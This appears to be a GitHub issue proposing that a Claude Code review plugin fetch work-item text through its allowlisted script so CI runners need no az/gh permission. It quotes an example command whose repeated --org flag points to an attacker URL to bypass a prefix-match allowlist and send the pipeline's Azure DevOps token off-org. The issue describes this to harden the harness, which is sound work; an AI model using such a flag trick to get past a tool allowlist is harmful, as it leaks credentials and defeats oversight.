TimZander / TimZander/claude

deep-review: Step 1c fetches the story with az/gh directly, which a hardened CI harness cannot allowlist

Open
#229 0 comments 0 reactions 1 assignee View on GitHub

@TimZander is already working on this.

Since Sep 4, 2026.

Dominant language
Python
Stars
0
Forks
1
Avg merge
1d 3h
Merged PRs (30d)
7

Description

Follow-up from #220. Found in the field: the feature works interactively but is unsatisfiable in CI, which is the channel it was most valuable for.

Symptom

An automated /deep-review running in an Azure DevOps pipeline reported:

Work item AB#<id>: <title>. No PR description or work-item text was reachable in this run, so requirements were inferred from the branch name, the two commit messages, and the diff itself.

No acceptance-criteria checklist was produced. The disclosure itself is correct behaviour — #220's rule that a review which skipped fitness-checking must not look identical to one that passed it is working. The problem is what it is disclosing.

Cause: the fetch is issued by the model, not by the script

commands/deep-review.md Step 1c tells the model to fetch the story itself:

  • WORKITEM_KIND=workitemaz boards work-item show --id <WORKITEM_ID> --org <ORG> -o json
  • WORKITEM_KIND=issuegh issue view <number>

That assumes an interactive session where Bash is broadly available. A hardened runner cannot grant it.

The CI harness this was found in runs Claude Code with a deliberately narrow --allowedTools. It allowlists exactly one ADO-reading entry point:

Bash(bash ${STAGED_PLUGIN}/scripts/resolve-pr.sh *)

and explicitly refuses to allowlist az, with this reasoning recorded in the harness:

no az repos pr show rule. An earlier version pinned --id and --org and ... az repos pr show --id N --org <pinned> --org https://attacker/x matches the allowed prefix and ships AZURE_DEVOPS_EXT_PAT off-org.

That is correct. A prefix-match allowlist cannot constrain a repeated flag — the last --org wins, so any Bash(az ... --org <pinned> *) rule is an exfiltration primitive for the job's ADO token, inside a job that is by definition reading attacker-authored code. The harness is not misconfigured; the rule is unwritable.

Why re-pinning the plugin only fixes half

resolve-pr.sh already calls az repos pr show / gh pr view internally (scripts/resolve-pr.sh:822-824), and the script itself is allowlisted — the allowlist governs what the model invokes, not what an approved script does downstream. So:

Behaviour under a hardened allowlist
PR body (route 2) works — fetched inside resolve-pr.sh
Branch prefix (route 3) works — no external call
Work-item / issue text (Step 1c) blocked — the model must invoke az/gh itself

The story number resolves fine. The story text never arrives, so AC3 of #220 (the per-criterion met / not-met / can't-tell checklist) cannot be satisfied in CI at all. The routes work and the grading they exist to enable does not.

Proposal

Move the fetch behind the same single entry point that already has the trust.

Add a fetch mode to resolve-pr.sh — e.g. --fetch-story — that performs the az boards work-item show / gh issue view call itself and emits the title, description and acceptance criteria on stdout in the existing KEY=value idiom (or a delimited block). The script builds --org from the origin remote it already derives, so there is no caller-supplied org to inject and the repeated-flag bypass does not exist.

Then Step 1c calls the script instead of naming az/gh, and a runner needs no new allowlist entry — the one it already grants covers it.

Secondary benefit: it removes the last place where the command file hardcodes host-specific CLI invocations, which is the same duplication #225 is about.

Acceptance criteria

  1. resolve-pr.sh can fetch work-item / issue text itself; the caller never needs to invoke az or gh directly to obtain story text.
  2. The org / repo used for the fetch is derived internally from origin, never taken from a caller-supplied argument.
  3. commands/deep-review.md Step 1c is rewritten to use it, and no longer instructs the model to run az boards work-item show or gh issue view.
  4. A runner whose only Bash grant is Bash(bash <plugin>/scripts/resolve-pr.sh *) can produce a full acceptance-criteria checklist.
  5. Fetch failure stays distinguishable from "no story found" — the existing WORKITEM_LOOKUP / REFERENCE_REFUSED disclosure contract is preserved, and gains a value for "resolved but unfetchable" if one is needed.
  6. scripts/test_resolve-pr.sh covers the new mode, including the failure path. The stub gh/az on PATH already make this offline-testable.

Note

Any vendored copy of this plugin pinned before #224 also predates story resolution entirely, so re-pinning is a prerequisite for testing the fix — but is not sufficient on its own, per the table above.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.